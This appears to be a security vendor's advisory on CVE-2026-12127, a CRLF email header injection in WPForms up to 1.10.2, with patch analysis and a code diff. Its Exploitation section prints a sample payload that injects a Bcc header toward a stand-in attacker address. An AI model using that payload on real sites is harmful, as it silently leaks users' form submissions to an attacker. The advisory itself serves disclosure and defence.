Published : June 30, 2026

CVE-2026-12127: WPForms <= 1.10.2 Improper Neutralization of CRLF Sequences to Unauthenticated Email Header Injection via Reply-To Display Name PoC, Patch Analysis & Rule

Plugin wpforms-lite
Severity Medium (CVSS 5.3)
CWE 93
Vulnerable Version 1.10.2
Patched Version 1.10.2.1
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12127:

This vulnerability involves a CRLF injection (CWE-93) in WPForms versions up to and including 1.10.2. The plugin fails to sanitize the Reply-To display name before embedding it into email headers, allowing unauthenticated attackers to inject arbitrary email headers. The CVSS score is 5.3. The vulnerable component is the Notification email handling in src/Emails/Notifications.php and src/Emails/Mailer.php.

Root Cause: The core issue lies in Notifications.php lines 1111-1124. When processing Reply-To headers, the get_reply_to_address() function uses smart-tag expansion with context ‘notification’ instead of ‘notification-reply-to’. This bypasses the email-address validation that normally sanitizes user input for email fields. The display name retrieved from a Paragraph Text (textarea) field passes through wpforms_sanitize_textarea_field(), which intentionally preserves CR (
) and LF (
) characters. These characters are never stripped before concatenation into the “Reply-To:” header string in Mailer.php line 374. The code directly concatenates: “$reply_to_name ” without sanitization.

Exploitation: An attacker submits a form that has a Paragraph Text (textarea) field configured as the Reply-To display name via a Smart Tag. The attacker enters a payload containing CRLF sequences followed by additional headers, such as: “AttackerNamernBcc: attacker@evil.comrn”. When the notification email is sent, the unsanitized display name injects the Bcc header into the raw email header string. The form submission endpoint is a standard WordPress POST request to /wp-admin/admin-ajax.php or the form’s own processing endpoint. No authentication is required because forms can be publicly accessible.

Patch Analysis: The patch introduces two new sanitization methods in Mailer.php: sanitize_email_header() which replaces CR/LF sequences with spaces, and sanitize_email_header_name() which additionally strips commas and angle brackets to prevent wp_mail() from misinterpreting them as address delimiters. The critical change is in Notifications.php line 1131, where the reply-to name is now passed through $this->sanitize_email_header_name($reply_to_name) before concatenation. Both Mailer.php and class-emails.php receive identical sanitize_email_header() methods at lines 387-399 and lines 328-338 respectively. The version also bumps from 1.10.2 to 1.10.2.1.

Impact: Successful exploitation allows an unauthenticated attacker to inject arbitrary email headers into outgoing notification emails sent by the plugin. The most immediate impact is the injection of a Bcc header to silently blind-copy notification emails to an attacker-controlled email address. This enables stealthy data exfiltration of any information included in the notification emails, such as form submissions containing user data, personal details, or other sensitive information. The attacker can also inject other headers like To, Cc, or Subject, potentially altering email routing and content.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wpforms-lite/includes/admin/builder/functions.php
+++ b/wpforms-lite/includes/admin/builder/functions.php
@@ -684,7 +684,8 @@
  * @since 1.6.6
  *
  * @param string $inner   Inner HTML to wrap.
- * @param array  $args    Array of arguments.
+ * @param array  $args    Array of arguments. Supports `group`, `unfoldable`, `default`, `class`,
+ *                        `borders`, `title`, `title_badge` (trusted HTML shown after the title), `description`.
  * @param bool   $do_echo Flag to display.
  *
  * @return string|null
@@ -711,7 +712,9 @@

 	if ( ! empty( $args['title'] ) ) {
 		$chevron = $unfoldable ? '<i class="fa fa-chevron-circle-right"></i>' : '';
-		$output .= '<div class="wpforms-panel-fields-group-title">' . esc_html( $args['title'] ) . $chevron . '</div>';
+		// Caller-controlled trusted markup (e.g. a "New" badge) shown after the title.
+		$title_badge = ! empty( $args['title_badge'] ) ? $args['title_badge'] : '';
+		$output     .= '<div class="wpforms-panel-fields-group-title">' . esc_html( $args['title'] ) . $title_badge . $chevron . '</div>';
 	}

 	if ( ! empty( $args['description'] ) ) {
--- a/wpforms-lite/includes/admin/builder/panels/class-settings.php
+++ b/wpforms-lite/includes/admin/builder/panels/class-settings.php
@@ -10,6 +10,7 @@
 }

 use WPFormsAdminFormsTags;
+use WPFormsIntegrationsAiMcpAiMcp;

 /**
  * Settings management panel.
@@ -219,6 +220,8 @@

 			$this->general_setting_advanced();

+			$this->ai_mcp_section();
+
 		echo '</div>';

 		/*
@@ -380,6 +383,43 @@
 			]
 		);
 	}
+
+	/**
+	 * Output the AI MCP section.
+	 *
+	 * Promotes the WordPress Abilities API + WPForms MCP bridge and exposes the write-access
+	 * toggle inside the builder, mirroring the Tools → AI MCP tab. The toggle input is
+	 * intentionally name-less, so it never enters the serialized form state and cannot be
+	 * picked up by the form save / undo-redo flow — it is a site setting, not form data.
+	 *
+	 * @since 1.10.2.1
+	 */
+	private function ai_mcp_section() {
+
+		// Without the Abilities API (WP 6.9+) no WPForms ability registers, so the toggle would gate nothing.
+		if ( ! wpforms_current_user_can() || ! function_exists( 'wp_register_ability' ) ) {
+			return;
+		}
+
+		$inner = wpforms_render(
+			'admin/tools/ai-mcp',
+			AiMcp::get_template_data( 'wpforms-ai-mcp-page-builder' ),
+			true
+		);
+
+		// Open by default for the initial release; a later release will ship it collapsed.
+		wpforms_panel_fields_group(
+			$inner,
+			[
+				'borders'     => [ 'top' ],
+				'unfoldable'  => true,
+				'group'       => 'settings_ai_mcp',
+				'title'       => esc_html__( 'AI MCP', 'wpforms-lite' ),
+				'title_badge' => '<span class="wpforms-badge wpforms-badge-sm wpforms-badge-inline wpforms-badge-rounded wpforms-badge-green">' . esc_html__( 'New', 'wpforms-lite' ) . '</span>',
+				'default'     => 'opened',
+			]
+		);
+	}
 }

 new WPForms_Builder_Panel_Settings();
--- a/wpforms-lite/includes/emails/class-emails.php
+++ b/wpforms-lite/includes/emails/class-emails.php
@@ -305,22 +305,75 @@
 	public function get_headers() {

 		if ( ! $this->headers ) {
-			$this->headers = "From: {$this->get_from_name()} <{$this->get_from_address()}>rn";
-
-			if ( $this->get_reply_to() ) {
-				$this->headers .= $this->reply_to_name ?
-					"Reply-To: {$this->reply_to_name} <{$this->get_reply_to()}>rn" :
-					"Reply-To: {$this->get_reply_to()}rn";
+			$from_name    = $this->sanitize_email_header_name( (string) $this->get_from_name() );
+			$from_address = $this->sanitize_email_header( (string) $this->get_from_address() );
+			$reply_to     = $this->sanitize_email_header( (string) $this->get_reply_to() );
+			$cc           = $this->sanitize_email_header( (string) $this->get_cc() );
+
+			$this->headers = "From: {$from_name} <{$from_address}>rn";
+
+			if ( $reply_to ) {
+				$reply_to_name = $this->sanitize_email_header_name( (string) $this->reply_to_name );
+
+				$this->headers .= $reply_to_name ?
+					"Reply-To: {$reply_to_name} <{$reply_to}>rn" :
+					"Reply-To: {$reply_to}rn";
 			}

-			if ( $this->get_cc() ) {
-				$this->headers .= "Cc: {$this->get_cc()}rn";
+			if ( $cc ) {
+				$this->headers .= "Cc: {$cc}rn";
 			}

 			$this->headers .= "Content-Type: {$this->get_content_type()}; charset=utf-8rn";
 		}

-		return apply_filters( 'wpforms_email_headers', $this->headers, $this );
+		/**
+		 * Filter the email headers.
+		 *
+		 * @since 1.1.3
+		 *
+		 * @param string            $headers Email headers.
+		 * @param WPForms_WP_Emails $this    Emails instance.
+		 */
+		return (string) apply_filters( 'wpforms_email_headers', $this->headers, $this ); // phpcs:ignore WPForms.PHP.ValidateHooks.InvalidHookName
+	}
+
+	/**
+	 * Sanitize a value for safe use as an email header.
+	 *
+	 * Replaces line breaks with a space to prevent email header (CRLF) injection,
+	 * using the same strategy as the email subject. Address and CC slots use this
+	 * method so their commas (recipient separators) are preserved.
+	 *
+	 * @since 1.10.2.1
+	 *
+	 * @param string $value Header value to sanitize.
+	 *
+	 * @return string Header value with line breaks replaced by spaces.
+	 */
+	private function sanitize_email_header( string $value ): string {
+
+		return trim( str_replace( [ "rn", "r", "n" ], ' ', $value ) );
+	}
+
+	/**
+	 * Sanitize a value for safe use as an email header display name.
+	 *
+	 * On top of neutralizing line breaks, this strips the characters wp_mail()
+	 * treats as address-list delimiters when it re-parses the assembled header:
+	 * commas (it splits Reply-To/Cc/Bcc on them) and angle brackets (address
+	 * delimiters). RFC quoting is not enough because wp_mail() ignores it, so a
+	 * comma left in a display name would inject an extra recipient.
+	 *
+	 * @since 1.10.2.1
+	 *
+	 * @param string $name Display name to sanitize.
+	 *
+	 * @return string Display name safe to embed in a From/Reply-To header.
+	 */
+	private function sanitize_email_header_name( string $name ): string {
+
+		return trim( str_replace( [ ',', '<', '>' ], '', $this->sanitize_email_header( $name ) ) );
 	}

 	/**
--- a/wpforms-lite/src/Admin/Tools/Views/AiMcp.php
+++ b/wpforms-lite/src/Admin/Tools/Views/AiMcp.php
@@ -74,48 +74,10 @@
 	 */
 	public function display(): void {

-		$user_id = get_current_user_id();
-
 		echo wpforms_render( // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 			'admin/tools/ai-mcp',
-			[
-				'state'               => $this->resolve_wpvibe_state(),
-				'is_write_enabled'    => (bool) wpforms_setting( AiMcpIntegration::SETTING_KEY, false ),
-				'is_pro'              => wpforms()->is_pro(),
-				'wpvibe_download_url' => AiMcpIntegration::WPVIBE_DOWNLOAD_URL,
-				'wpvibe_basename'     => AiMcpIntegration::WPVIBE_BASENAME,
-				'wpvibe_setup_url'    => admin_url( 'admin.php?page=' . AiMcpIntegration::WPVIBE_PAGE_SLUG ),
-				'has_visited_wpvibe'  => $user_id && (bool) get_user_meta( $user_id, AiMcpIntegration::USER_META_VISITED_WPVIBE, true ),
-				'docs_url'            => 'https://wpforms.com/docs/using-wpforms-with-ai-assistants/',
-			],
+			AiMcpIntegration::get_template_data(),
 			true
 		);
 	}
-
-	/**
-	 * Detect whether WPVibe is not installed, installed but inactive, or active.
-	 *
-	 * @since 1.10.2
-	 *
-	 * @return string One of 'not_installed', 'installed_inactive', 'active'.
-	 */
-	private function resolve_wpvibe_state(): string {
-
-		if ( ! function_exists( 'is_plugin_active' ) ) {
-			include_once ABSPATH . 'wp-admin/includes/plugin.php';
-		}
-
-		$basename = AiMcpIntegration::WPVIBE_BASENAME;
-		$plugins  = get_plugins();
-
-		if ( ! array_key_exists( $basename, $plugins ) ) {
-			return 'not_installed';
-		}
-
-		if ( ! is_plugin_active( $basename ) ) {
-			return 'installed_inactive';
-		}
-
-		return 'active';
-	}
 }
--- a/wpforms-lite/src/Emails/Mailer.php
+++ b/wpforms-lite/src/Emails/Mailer.php
@@ -362,13 +362,16 @@
 	 */
 	public function get_headers() {

-		$this->headers = "From: {$this->get_from_name()} <{$this->get_from_address()}>rn";
+		$from_name    = $this->sanitize_email_header_name( (string) $this->get_from_name() );
+		$from_address = $this->sanitize_email_header( (string) $this->get_from_address() );
+		$reply_to     = $this->sanitize_email_header( (string) $this->get_reply_to_address() );
+		$cc           = $this->sanitize_email_header( (string) $this->get_cc_address() );

-		if ( $this->get_reply_to_address() ) {
-			$this->headers .= "Reply-To: {$this->get_reply_to_address()}rn";
-		}
+		$this->headers = "From: {$from_name} <{$from_address}>rn";

-		$cc = $this->get_cc_address();
+		if ( $reply_to ) {
+			$this->headers .= "Reply-To: {$reply_to}rn";
+		}

 		if ( $cc ) {
 			$this->headers .= "Cc: {$cc}rn";
@@ -384,7 +387,46 @@
 		 * @param string $headers Email headers.
 		 * @param Mailer $this    Mailer instance.
 		 */
-		return apply_filters( 'wpforms_emails_mailer_get_headers', $this->headers, $this );
+		return (string) apply_filters( 'wpforms_emails_mailer_get_headers', $this->headers, $this );
+	}
+
+	/**
+	 * Sanitize a value for safe use as an email header.
+	 *
+	 * Replaces line breaks with a space to prevent email header (CRLF) injection,
+	 * using the same strategy as the email subject. Address and CC slots use this
+	 * method so their commas (recipient separators) are preserved.
+	 *
+	 * @since 1.10.2.1
+	 *
+	 * @param string $value Header value to sanitize.
+	 *
+	 * @return string Header value with line breaks replaced by spaces.
+	 */
+	private function sanitize_email_header( string $value ): string {
+
+		return trim( str_replace( [ "rn", "r", "n" ], ' ', $value ) );
+	}
+
+	/**
+	 * Sanitize a value for safe use as an email header display name.
+	 *
+	 * On top of neutralizing line breaks, this strips the characters wp_mail()
+	 * treats as address-list delimiters when it re-parses the assembled header:
+	 * commas (it splits Reply-To/Cc/Bcc on them) and angle brackets (address
+	 * delimiters). RFC quoting is not enough because wp_mail() ignores it, so a
+	 * comma left in a display name would inject an extra recipient. Declared
+	 * protected because the Notifications subclass sanitizes the Reply-To name.
+	 *
+	 * @since 1.10.2.1
+	 *
+	 * @param string $name Display name to sanitize.
+	 *
+	 * @return string Display name safe to embed in a From/Reply-To header.
+	 */
+	protected function sanitize_email_header_name( string $name ): string {
+
+		return trim( str_replace( [ ',', '<', '>' ], '', $this->sanitize_email_header( $name ) ) );
 	}

 	/**
--- a/wpforms-lite/src/Emails/Notifications.php
+++ b/wpforms-lite/src/Emails/Notifications.php
@@ -961,6 +961,7 @@
 		// In these contexts, we need to check if the smart tag is allowed.
 		$address_context = [
 			'notification-from',
+			'notification-reply-to',
 		];

 		// Check if the smart tag is allowed AND if the context is allowed.
@@ -1111,6 +1112,9 @@
 			$matches = [];

 			if ( preg_match( $regex, $reply_to, $matches ) ) {
+				// The display name accepts any field value and is made header-safe by
+				// sanitize_email_header_name() below, so it must not run through the
+				// address-field validation that the 'notification-reply-to' context applies.
 				$reply_to_name = $this->sanitize( $matches[1] );
 				$reply_to      = trim( $matches[2], '<> ' );
 			}
@@ -1124,7 +1128,7 @@
 		}

 		if ( $reply_to_name ) {
-			$reply_to = "$reply_to_name <{$reply_to}>";
+			$reply_to = $this->sanitize_email_header_name( $reply_to_name ) . " <{$reply_to}>";
 		}

 		/**
--- a/wpforms-lite/src/Integrations/AiMcp/AiMcp.php
+++ b/wpforms-lite/src/Integrations/AiMcp/AiMcp.php
@@ -167,57 +167,113 @@
 	}

 	/**
-	 * Detect whether the current request is rendering the AI MCP tab.
-	 *
-	 * @since 1.10.2
-	 *
-	 * @return bool
-	 */
-	private function is_ai_mcp_tab(): bool {
-
-		// phpcs:disable WordPress.Security.NonceVerification.Recommended
-		$page = isset( $_GET['page'] ) ? sanitize_key( $_GET['page'] ) : '';
-		$view = isset( $_GET['view'] ) ? sanitize_key( $_GET['view'] ) : '';
-		// phpcs:enable WordPress.Security.NonceVerification.Recommended
-
-		return $page === 'wpforms-tools' && $view === 'ai-mcp';
-	}
-
-	/**
 	 * Enqueue the page JS and localize handler config. Only fires on the AI MCP tab.
 	 *
 	 * @since 1.10.2
 	 */
 	public function enqueue_scripts() {

-		if ( ! $this->is_ai_mcp_tab() ) {
+		$is_builder    = wpforms_is_admin_page( 'builder' );
+		$is_ai_mcp_tab = wpforms_is_admin_page( 'tools', 'ai-mcp' );
+
+		if ( ! $is_builder && ! $is_ai_mcp_tab ) {
 			return;
 		}

 		$min = wpforms_get_min_suffix();

+		// admin-utils.js (the `wpf` global) is registered under different handles per screen:
+		// `wpforms-utils` in the form builder, `wpforms-admin-utils` everywhere else.
+		$utils_handle = $is_builder ? 'wpforms-utils' : 'wpforms-admin-utils';
+
 		wp_enqueue_script(
 			'wpforms-ai-mcp',
 			WPFORMS_PLUGIN_URL . "assets/js/admin/tools/ai-mcp{$min}.js",
-			[ 'jquery', 'wpforms-admin-utils' ],
+			[ 'jquery', $utils_handle ],
 			WPFORMS_VERSION,
 			true
 		);

+		// The `wpforms_admin` global is absent in the builder, so the AJAX URL and the
+		// install/activate nonce are passed here instead — keeping one JS path for both screens.
 		wp_localize_script(
 			'wpforms-ai-mcp',
 			'wpformsAiMcpVars',
 			[
+				'ajaxUrl'     => admin_url( 'admin-ajax.php' ),
+				'nonce'       => wp_create_nonce( 'wpforms-admin' ),
 				'toggleNonce' => wp_create_nonce( 'wpforms_ai_mcp_toggle' ),
 				'i18n'        => [
 					'saved'        => __( 'Saved', 'wpforms-lite' ),
 					'genericError' => __( 'Something went wrong. Please try again.', 'wpforms-lite' ),
+					'confirmSave'  => __( 'Your form must be saved before you can go to WPVibe. Save and continue?', 'wpforms-lite' ),
 				],
 			]
 		);
 	}

 	/**
+	 * Build the shared render args for the AI MCP UI.
+	 *
+	 * Used by both the Tools → AI MCP tab and the Form Builder settings section so the
+	 * promo content, WPVibe state, and write-toggle value stay identical across surfaces.
+	 *
+	 * @since 1.10.2.1
+	 *
+	 * @param string $context_class Optional root class that adapts the layout per surface (e.g. the builder variant).
+	 *
+	 * @return array
+	 */
+	public static function get_template_data( string $context_class = '' ): array {
+
+		$user_id = get_current_user_id();
+
+		// The same template renders on Tools → AI MCP and inside the Form Builder; each surface
+		// gets its own UTM medium/content so doc-link clicks are attributed to the right place.
+		$is_builder = $context_class !== '';
+
+		return [
+			'state'               => self::resolve_wpvibe_state(),
+			'is_write_enabled'    => (bool) wpforms_setting( self::SETTING_KEY, false ),
+			'is_pro'              => wpforms()->is_pro(),
+			'wpvibe_download_url' => self::WPVIBE_DOWNLOAD_URL,
+			'wpvibe_basename'     => self::WPVIBE_BASENAME,
+			'wpvibe_setup_url'    => admin_url( 'admin.php?page=' . self::WPVIBE_PAGE_SLUG ),
+			'has_visited_wpvibe'  => $user_id && (bool) get_user_meta( $user_id, self::USER_META_VISITED_WPVIBE, true ),
+			'docs_url'            => 'https://wpforms.com/docs/using-wpforms-with-ai-assistants/',
+			'docs_utm_medium'     => $is_builder ? 'Builder - AI MCP' : 'Tools - AI MCP',
+			'docs_utm_content'    => $is_builder ? 'View Abilities API Documentation' : 'Learn More - Abilities API Documentation',
+			'context_class'       => $context_class,
+		];
+	}
+
+	/**
+	 * Detect whether WPVibe is not installed, installed but inactive, or active.
+	 *
+	 * @since 1.10.2.1
+	 *
+	 * @return string One of 'not_installed', 'installed_inactive', 'active'.
+	 */
+	private static function resolve_wpvibe_state(): string {
+
+		if ( ! function_exists( 'is_plugin_active' ) ) {
+			include_once ABSPATH . 'wp-admin/includes/plugin.php';
+		}
+
+		$plugins = get_plugins();
+
+		if ( ! array_key_exists( self::WPVIBE_BASENAME, $plugins ) ) {
+			return 'not_installed';
+		}
+
+		if ( ! is_plugin_active( self::WPVIBE_BASENAME ) ) {
+			return 'installed_inactive';
+		}
+
+		return 'active';
+	}
+
+	/**
 	 * AJAX handler for flipping the write-access toggle.
 	 *
 	 * Validates nonce + admin cap, merges the new value into the shared
--- a/wpforms-lite/templates/admin/tools/ai-mcp.php
+++ b/wpforms-lite/templates/admin/tools/ai-mcp.php
@@ -18,6 +18,9 @@
  * @var string $wpvibe_setup_url    WPVibe admin page URL — anchor for the active-state CTA.
  * @var bool   $has_visited_wpvibe  True if the user has been on the WPVibe admin page before.
  * @var string $docs_url            URL for the "View Abilities API Documentation" link.
+ * @var string $docs_utm_medium     utm_medium for the docs link, per surface (Tools - AI MCP / Builder - AI MCP).
+ * @var string $docs_utm_content    utm_content for the docs link, per surface.
+ * @var string $context_class       Optional extra root class to adapt the layout per surface (e.g. the builder variant).
  */

 defined( 'ABSPATH' ) || exit;
@@ -75,9 +78,12 @@
 		'label' => __( 'Cursor', 'wpforms-lite' ),
 	],
 ];
+
+// In the builder every WPVibe button state is blue; the Tools page keeps orange for install/activate.
+$wpvibe_button_color = $context_class !== '' ? 'wpforms-btn-blue' : 'wpforms-btn-orange';
 ?>

-<div class="wpforms-ai-mcp-page">
+<div class="wpforms-ai-mcp-page <?php echo esc_attr( $context_class ); ?>">

 	<section class="wpforms-ai-mcp-hero">

@@ -114,14 +120,14 @@
 					<?php if ( $can_install ) : ?>
 						<button
 							type="button"
-							class="wpforms-btn wpforms-btn-orange wpforms-ai-mcp-wpvibe-button"
+							class="wpforms-btn <?php echo esc_attr( $wpvibe_button_color ); ?> wpforms-ai-mcp-wpvibe-button"
 							data-action="install"
 							data-plugin="<?php echo esc_attr( $wpvibe_download_url ); ?>"
 						><?php esc_html_e( 'Install & Activate WPVibe', 'wpforms-lite' ); ?></button>
 					<?php else : ?>
 						<a
 							href="https://wordpress.org/plugins/vibe-ai/"
-							class="wpforms-btn wpforms-btn-orange wpforms-ai-mcp-wpvibe-button"
+							class="wpforms-btn <?php echo esc_attr( $wpvibe_button_color ); ?> wpforms-ai-mcp-wpvibe-button"
 							target="_blank"
 							rel="noopener noreferrer"
 						><?php esc_html_e( 'Install from WordPress.org →', 'wpforms-lite' ); ?></a>
@@ -129,13 +135,13 @@
 				<?php elseif ( $state === 'installed_inactive' && $can_activate ) : ?>
 					<button
 						type="button"
-						class="wpforms-btn wpforms-btn-orange wpforms-ai-mcp-wpvibe-button"
+						class="wpforms-btn <?php echo esc_attr( $wpvibe_button_color ); ?> wpforms-ai-mcp-wpvibe-button"
 						data-action="activate"
 						data-plugin="<?php echo esc_attr( $wpvibe_basename ); ?>"
 					><?php esc_html_e( 'Activate WPVibe', 'wpforms-lite' ); ?></button>
 				<?php elseif ( $state === 'active' ) : ?>
 					<a
-						class="wpforms-btn wpforms-btn-blue wpforms-ai-mcp-wpvibe-button"
+						class="wpforms-btn wpforms-btn-blue wpforms-ai-mcp-wpvibe-button wpforms-ai-mcp-wpvibe-go"
 						href="<?php echo esc_url( $wpvibe_setup_url ); ?>"
 					>
 						<?php
@@ -160,6 +166,13 @@
 					<label class="wpforms-ai-mcp-toggle-label" for="wpforms-ai-mcp-write-toggle">
 						<?php esc_html_e( 'Enable MCP Write Access', 'wpforms-lite' ); ?>
 					</label>
+					<?php if ( $context_class !== '' ) : ?>
+						<i
+							class="fa fa-question-circle-o wpforms-help-tooltip wpforms-ai-mcp-toggle-help"
+							title="<?php esc_attr_e( 'In order for the AI MCP to be able to make changes to your form, Write Access must be enabled.', 'wpforms-lite' ); ?>"
+							aria-hidden="true"
+						></i>
+					<?php endif; ?>
 				</span>

 			</div>
@@ -196,7 +209,7 @@
 			<h2 class="wpforms-ai-mcp-capabilities-title"><?php esc_html_e( 'Everything WPForms Can Do With AI', 'wpforms-lite' ); ?></h2>
 			<a
 				class="wpforms-ai-mcp-docs-link"
-				href="<?php echo esc_url( wpforms_utm_link( $docs_url, 'Tools - AI MCP', 'Learn More - Abilities API Documentation' ) ); ?>"
+				href="<?php echo esc_url( wpforms_utm_link( $docs_url, $docs_utm_medium, $docs_utm_content ) ); ?>"
 				target="_blank"
 				rel="noopener noreferrer"
 			>
@@ -211,7 +224,27 @@

 					<header class="wpforms-ai-mcp-card-head">
 						<span class="wpforms-ai-mcp-card-icon fa-solid fa-<?php echo esc_attr( $card['icon'] ); ?>" aria-hidden="true"></span>
-						<h3 class="wpforms-ai-mcp-card-title"><?php echo esc_html( $card['title'] ); ?></h3>
+						<span class="wpforms-ai-mcp-card-title-group">
+							<h3 class="wpforms-ai-mcp-card-title"><?php echo esc_html( $card['title'] ); ?></h3>
+							<?php if ( $card['pro'] && ! $is_pro ) : ?>
+								<?php
+								// In the builder the badge uses the shared .wpforms-badge system; the Tools page keeps its own styling.
+								$pro_badge_class = 'wpforms-ai-mcp-pro-badge education-modal';
+
+								if ( $context_class !== '' ) {
+									$pro_badge_class = 'wpforms-badge wpforms-badge-sm wpforms-badge-inline wpforms-badge-rounded wpforms-badge-silver ' . $pro_badge_class;
+								}
+								?>
+								<span
+									class="<?php echo esc_attr( $pro_badge_class ); ?>"
+									data-name="<?php echo esc_attr( $card['title'] ); ?>"
+									data-plural="1"
+									data-action="upgrade"
+									role="button"
+									tabindex="0"
+								><?php esc_html_e( 'Pro', 'wpforms-lite' ); ?></span>
+							<?php endif; ?>
+						</span>
 					</header>

 					<ul class="wpforms-ai-mcp-card-bullets">
@@ -223,17 +256,6 @@
 						<?php endforeach; ?>
 					</ul>

-					<?php if ( $card['pro'] && ! $is_pro ) : ?>
-						<span
-							class="wpforms-ai-mcp-pro-badge education-modal"
-							data-name="<?php echo esc_attr( $card['title'] ); ?>"
-							data-plural="1"
-							data-action="upgrade"
-							role="button"
-							tabindex="0"
-						><?php esc_html_e( 'Pro', 'wpforms-lite' ); ?></span>
-					<?php endif; ?>
-
 				</article>
 			<?php endforeach; ?>
 		</div>
--- a/wpforms-lite/vendor/composer/installed.php
+++ b/wpforms-lite/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'awesomemotive/wpforms',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => 'ef22e362092fc86e48c19e16d28b7647900a5446',
+        'reference' => '7ea46da30343ef729499436bb1666cde9dd058b2',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -49,7 +49,7 @@
         'awesomemotive/wpforms' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => 'ef22e362092fc86e48c19e16d28b7647900a5446',
+            'reference' => '7ea46da30343ef729499436bb1666cde9dd058b2',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
@@ -112,7 +112,7 @@
         'roave/security-advisories' => array(
             'pretty_version' => 'dev-latest',
             'version' => 'dev-latest',
-            'reference' => '6b43b34b35cef5e93f19f389daf029845e391351',
+            'reference' => '6c54e0520e210e3889b0b3bff4d256bfa19bdc52',
             'type' => 'metapackage',
             'install_path' => null,
             'aliases' => array(
--- a/wpforms-lite/wpforms.php
+++ b/wpforms-lite/wpforms.php
@@ -7,7 +7,7 @@
  * Requires PHP:      7.2
  * Author:            WPForms
  * Author URI:        https://wpforms.com
- * Version:           1.10.2
+ * Version:           1.10.2.1
  * License:           GPL v2 or later
  * License URI:       https://www.gnu.org/licenses/gpl-2.0.html
  * Text Domain:       wpforms-lite
@@ -59,7 +59,7 @@
 	 *
 	 * @since 1.0.0
 	 */
-	define( 'WPFORMS_VERSION', '1.10.2' ); // NOSONAR.
+	define( 'WPFORMS_VERSION', '1.10.2.1' ); // NOSONAR.
 }

 if ( ! defined( 'WPFORMS_PLUGIN_DIR' ) ) {

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.